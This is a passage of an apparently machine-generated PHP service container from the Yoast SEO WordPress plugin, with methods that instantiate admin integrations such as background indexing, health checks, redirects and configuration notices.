        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Admin_Columns_Cache_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository']) ? $this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] : $this->getIndexableRepositoryService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration
     */
    protected function getBackgroundIndexingIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Background_Indexing_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Indexing_Complete_Action'] : $this->getIndexableIndexingCompleteActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional'] = new \Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional'] = new \Yoast\WP\SEO\Conditionals\Get_Request_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional']) ? $this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] : ($this->services['Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional'] = new \Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] : $this->getIndexableGeneralIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] : $this->getIndexablePostIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] : $this->getIndexablePostTypeArchiveIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] : $this->getIndexableTermIndexationActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] : $this->getTermLinkIndexingActionService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Check_Required_Version' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Check_Required_Version
     */
    protected function getCheckRequiredVersionService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version'] = new \Yoast\WP\SEO\Integrations\Admin\Check_Required_Version();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration
     */
    protected function getCrawlSettingsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Crawl_Settings_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Shortlinker']) ? $this->services['WPSEO_Shortlinker'] : $this->getWPSEOShortlinkerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Cron_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Cron_Integration
     */
    protected function getCronIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Cron_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Date_Helper'] = new \Yoast\WP\SEO\Helpers\Date_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration
     */
    protected function getDeactivatedPremiumIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Deactivated_Premium_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Disable_Concatenate_Scripts_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Disable_Concatenate_Scripts_Integration
     *
     * @deprecated Yoast\WP\SEO\Integrations\Admin\Disable_Concatenate_Scripts_Integration is deprecated since version 23.2!
     */
    protected function getDisableConcatenateScriptsIntegrationService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration is deprecated since version 23.2!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Disable_Concatenate_Scripts_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration
     */
    protected function getFirstTimeConfigurationIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Shortlinker']) ? $this->services['WPSEO_Shortlinker'] : $this->getWPSEOShortlinkerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper'] : $this->getSocialProfilesHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context']) ? $this->services['Yoast\\WP\\SEO\\Context\\Meta_Tags_Context'] : $this->getMetaTagsContextService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration
     */
    protected function getFirstTimeConfigurationNoticeIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\First_Time_Configuration_Notice_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper'] : $this->getFirstTimeConfigurationNoticeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration
     */
    protected function getFixNewsDependenciesIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Fix_News_Dependencies_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration
     */
    protected function getHealthCheckIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Health_Check_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Default_Tagline_Check'] : $this->getDefaultTaglineCheckService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Links_Table_Check'] : $this->getLinksTableCheckService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Page_Comments_Check'] : $this->getPageCommentsCheckService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check']) ? $this->services['Yoast\\WP\\SEO\\Services\\Health_Check\\Postname_Permalink_Check'] : $this->getPostnamePermalinkCheckService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon
     */
    protected function getHelpScoutBeaconService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon'] = new \Yoast\WP\SEO\Integrations\Admin\HelpScout_Beacon(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status']) ? $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] : ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Import_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Import_Integration
     */
    protected function getImportIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Import_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] : $this->getImportableDetectorServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route']) ? $this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] : $this->getImportingRouteService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration
     */
    protected function getIndexablesExcludeTaxonomyIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexables_Exclude_Taxonomy_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration
     */
    protected function getIndexingNotificationIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexing_Notification_Integration(${($_ = isset($this->services['Yoast_Notification_Center']) ? $this->services['Yoast_Notification_Center'] : $this->getYoastNotificationCenterService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Notification_Helper'] = new \Yoast\WP\SEO\Helpers\Notification_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Environment_Helper'] = new \Yoast\WP\SEO\Helpers\Environment_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration
     */
    protected function getIndexingToolIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Indexing_Tool_Integration(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] : $this->getIndexableHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] : $this->getShortLinkHelperService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] : $this->getIndexingHelperService()) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Addon_Manager']) ? $this->services['WPSEO_Addon_Manager'] : $this->getWPSEOAddonManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service']) ? $this->services['Yoast\\WP\\SEO\\Services\\Importing\\Importable_Detector_Service'] : $this->getImportableDetectorServiceService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route']) ? $this->services['Yoast\\WP\\SEO\\Routes\\Importing_Route'] : $this->getImportingRouteService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration
     */
    protected function getInstallationSuccessIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Installation_Success_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Integrations_Page' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Integrations_Page
     */
    protected function getIntegrationsPageService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page'] = new \Yoast\WP\SEO\Integrations\Admin\Integrations_Page(${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper'] = new \Yoast\WP\SEO\Helpers\Woocommerce_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration
     */
    protected function getLinkCountColumnsIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Link_Count_Columns_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] : $this->getPostTypeHelperService()) && false ?: '_'}, ${($_ = isset($this->services['wpdb']) ? $this->services['wpdb'] : $this->getWpdbService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']) ? $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] : $this->getPostLinkIndexingActionService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration']) ? $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration'] : $this->getAdminColumnsCacheIntegrationService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration
     */
    protected function getMenuBadgeIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Menu_Badge_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration
     */
    protected function getMigrationErrorIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Migration_Error_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status']) ? $this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] : ($this->services['Yoast\\WP\\SEO\\Config\\Migration_Status'] = new \Yoast\WP\SEO\Config\Migration_Status())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration
     */
    protected function getOldConfigurationIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Old_Configuration_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Old_Premium_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Old_Premium_Integration
     *
     * @deprecated Yoast\WP\SEO\Integrations\Admin\Old_Premium_Integration is deprecated since version 20.10!
     */
    protected function getOldPremiumIntegrationService()
    {
        @trigger_error('Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration is deprecated since version 20.10!', E_USER_DEPRECATED);

        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Old_Premium_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper())) && false ?: '_'}, ${($_ = isset($this->services['WPSEO_Admin_Asset_Manager']) ? $this->services['WPSEO_Admin_Asset_Manager'] : $this->getWPSEOAdminAssetManagerService()) && false ?: '_'}, ${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper'] : $this->getCurrentPageHelperService()) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Redirect_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Redirect_Integration
     */
    protected function getRedirectIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Redirect_Integration(${($_ = isset($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper']) ? $this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] : ($this->services['Yoast\\WP\\SEO\\Helpers\\Redirect_Helper'] = new \Yoast\WP\SEO\Helpers\Redirect_Helper())) && false ?: '_'});
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration
     */
    protected function getRedirectsPageIntegrationService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration'] = new \Yoast\WP\SEO\Integrations\Admin\Redirects_Page_Integration();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice
     */
    protected function getUnsupportedPHPVersionNoticeService()
    {
        return $this->services['Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice'] = new \Yoast\WP\SEO\Integrations\Admin\Unsupported_PHP_Version_Notice();
    }

    /**
     * Gets the public 'Yoast\WP\SEO\Integrations\Admin\Workouts_Integration' shared autowired service.
     *
     * @return \Yoast\WP\SEO\Integrations\Admin\Workouts_Integration
     */
    protected function getWorkoutsIntegrationService()
    {
